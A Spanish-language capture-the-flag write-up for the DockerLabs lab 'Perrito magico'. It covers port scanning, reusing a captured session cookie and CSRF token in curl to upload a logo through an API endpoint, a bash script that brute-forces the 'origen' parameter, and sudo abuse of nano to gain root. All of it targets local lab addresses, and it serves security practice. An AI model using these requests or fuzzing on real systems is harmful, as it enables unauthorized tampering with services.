Perrito magico, DockerLabs
Herramientas y recursos
En este reto de DockerLabs practicamos.
| Tecnicas | Herramientas |
|---|---|
| scan de puertos | nmap |
| inyeccion xss | payloads |
| Abuso de sudo | Python Library Hijacking |
Reconocimiento y enumeracion
Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX bola 172.17.0.3
En esta maquina hemos de ser capaces de cambiar la imagen de la maquina sin importar el rol que tengamos , por tanto hemos de ser capaces de obtener token y endpoints necesarios.
Lo primero me abro el burpsuite para empezar a navegar por la web capturando para revisar posteriormente si algo nos es util , pongo el scope de ese modo todo lo que no sea el scope lo deja pasar sin problemas para poder realizar cualquier otra consulta de cualquier web que necesitemos.
Lanzo feroxbuster a ver que es capaz de capturar
De todo lo que nos reporta ferox el que nos interesa es el /api/summary creo recordar que en otra maquina se llamaba doc o redocs que vendria a ser la documentacion de la api con algunos endpoints, si vamos a la web podemos verlo.
Esta es la parte interesante donde vemos los parametros que necesitamos para modificar algo y arriba del todo nos indica que debemos estar registrados para ese endpoint /gestion-maquinas/upload-logo.Vamos a ver que tenemos con burpsuite despues de toquetear halla donde nos dejo, encuentro algo interesante en el endpoit /subir-flag el token y el csrf-token que pueden ser utiles para el endpoint que vimos en summary.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /subir-flag HTTP/1.1
Host: 172.17.0.2:5000
Content-Length: 42
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Content-Type: application/json
X-CSRFToken: a89718943f1264cc8d9b2cb7a3d667578a81e885cdfe84c02132bc80134bb7b1
Accept: */*
Sec-GPC: 1
Accept-Language: es-419,es;q=0.7
Origin: http://172.17.0.2:5000
Referer: http://172.17.0.2:5000/bunkerlabs
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwlzDsOwjAMANC7eGao87PTy1Sx41QRIkX9TIi7g9TxLe8DeuxtObenDZihcCbkHHxDl4Iq1yxOhYqvKVEkLozGHLU246CTQ-9EeUIfREgQHnAdti-9wowcb43ysv_97mO9-ujnBt8fLoYj3w.aaV_Xg.Ad9BnXeNF58waUoHrtYUV2ZvL8w
Connection: close
{"maquina":"Dockerlabs-Weak","pin":"1234"}
Empezemos a mandar peticiones con curl para averiguar donde debemos fijarnos mas y que errores tenemos dado que uno de los parametros es el machine_id y no lo veo por ningun lado.
Mis dos primeras peticiones llegaron pero me dice datos invalidos aun habiendo cambiado el machineid , no creo que el machine id sea importante creo que es mas estricto el origin que podria ser cualquier cosa.
El origin debe estar relacionado siempre o casi siempre con la infraestructura de la web o eso creo asi que si ni dockerlabs ni bunkerlabs funciono pero docker si aunque no como esperaba solo queda probar bunker que ademas es el referer de la peticion de arriba si no con ayuda de ia un script que vaya probando distintos nombres.
La peticion corrcta es con bunker
1
2
3
4
5
6
7
8
curl -X 'POST' \
'http://172.17.0.2:5000/gestion-maquinas/upload-logo' \
-H 'accept: application/json' \
-b 'session=.eJwlzDsOwjAMANC7eGao87PTy1Sx41QRIkX9TIi7g9TxLe8DeuxtObenDZihcCbkHHxDl4Iq1yxOhYqvKVEkLozGHLU246CTQ-9EeUIfREgQHnAdti-9wowcb43ysv_97mO9-ujnBt8fLoYj3w.aaV_Xg.Ad9BnXeNF58waUoHrtYUV2ZvL8w' \
-F 'csrf_token=a89718943f1264cc8d9b2cb7a3d667578a81e885cdfe84c02132bc80134bb7b1' \
-F 'machine_id=1' \
-F 'origen=bunker' \
-F 'logo=@/home/firstatack/Documentos/Hacking_machines/dockerlabs/perrito_magico/skills/hackerlogo.jpg;type=image/jpeg'
Escalada
Como vemos se nmos proporcionaron las credenciales para ssh entramos y con sudo -l vemos que nos ha dejado nano.
Ejuctamos y somos root.
Hasta aqui la maquinita, gracias por leer.
Informacion para curiosos a partir de este punto
Aqui el script que pretendia usar para realizar fuerza bruta al parametro origin
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/bash
wordlist="origins.txt"
cookie="session=.eJwlzDsOwjAMANC7eGao87PTy1Sx41QRIkX9TIi7g9TxLe8DeuxtObenDZihcCbkHHxDl4Iq1yxOhYqvKVEkLozGHLU246CTQ-9EeUIfREgQHnAdti-9wowcb43ysv_97mO9-ujnBt8fLoYj3w.aaV_Xg.Ad9BnXeNF58waUoHrtYUV2ZvL8w"
token="a89718943f1264cc8d9b2cb7a3d667578a81e885cdfe84c02132bc80134bb7b1"
imagen="/home/firstatack/Documentos/Hacking_machines/dockerlabs/perrito_magico/skills/hackerlogo.jpg"
echo "[*] Iniciando fuzzing de origen..."
for word in $(cat "$wordlist"); do
clean_word=$(echo "$word" | tr -d '\r\n ')
echo -n "Probando: $clean_word ... "
# Ejecutamos y filtramos directamente con grep para mayor velocidad y precisión
# -w 0 desactiva el límite de ancho de banda, -L sigue redirecciones
result=$(curl -s -L -X POST 'http://172.17.0.2:5000/gestion-maquinas/upload-logo' \
-b "$cookie" \
-H "X-CSRFToken: $token" \
-F "machine_id=1" \
-F "origen=$clean_word" \
-F "logo=@$imagen;type=image/jpeg" | grep -iE "Logo subido correctamente|exploit_triggered")
if [ ! -z "$result" ]; then
echo -e "\n\n[+] ¡ACIERTO CRÍTICO ENCONTRADO!"
echo "[+] Origen: $clean_word"
echo "[+] Respuesta completa: $result"
exit 0
else
echo "Fallido."
fi
sleep 5
done
El diccionario que cree contenia esta lista:
dockerlabs local bunkerlabs production development staging web api testing default s3_storage vault proxy_pass direct_upload system_upload cloud_bunker nas_storage bunker docker bunker_api bunker_local bunker_node bunker_management bunkerserver perrito perritomagico magico magic_origin docker_node internal_bunker private_bunker
No llegaban a 30 y como ven en el script hay un sleep de 5 segundos , la cuestion es que me preocupo porque con el sudo bruteforce de mario ya tenia que ajustar el tiempo entre solicitudes no tan exagerado como en este.
Al mandar peticiones al principio cada 0.5 se podria estar afectando la estabilidad del backend y al usar siempre la misma cookie y con palabras incorrectas “en este caso origin” el server puede atascarse devolviendo errores antes de mandar el nuevo valor , aparte es una api de entrono de laboratorio no hay un gran server detras y tambien podria ignorar paquetes por saturacion.
Ahora si gracias por leer.













Comments powered by Disqus.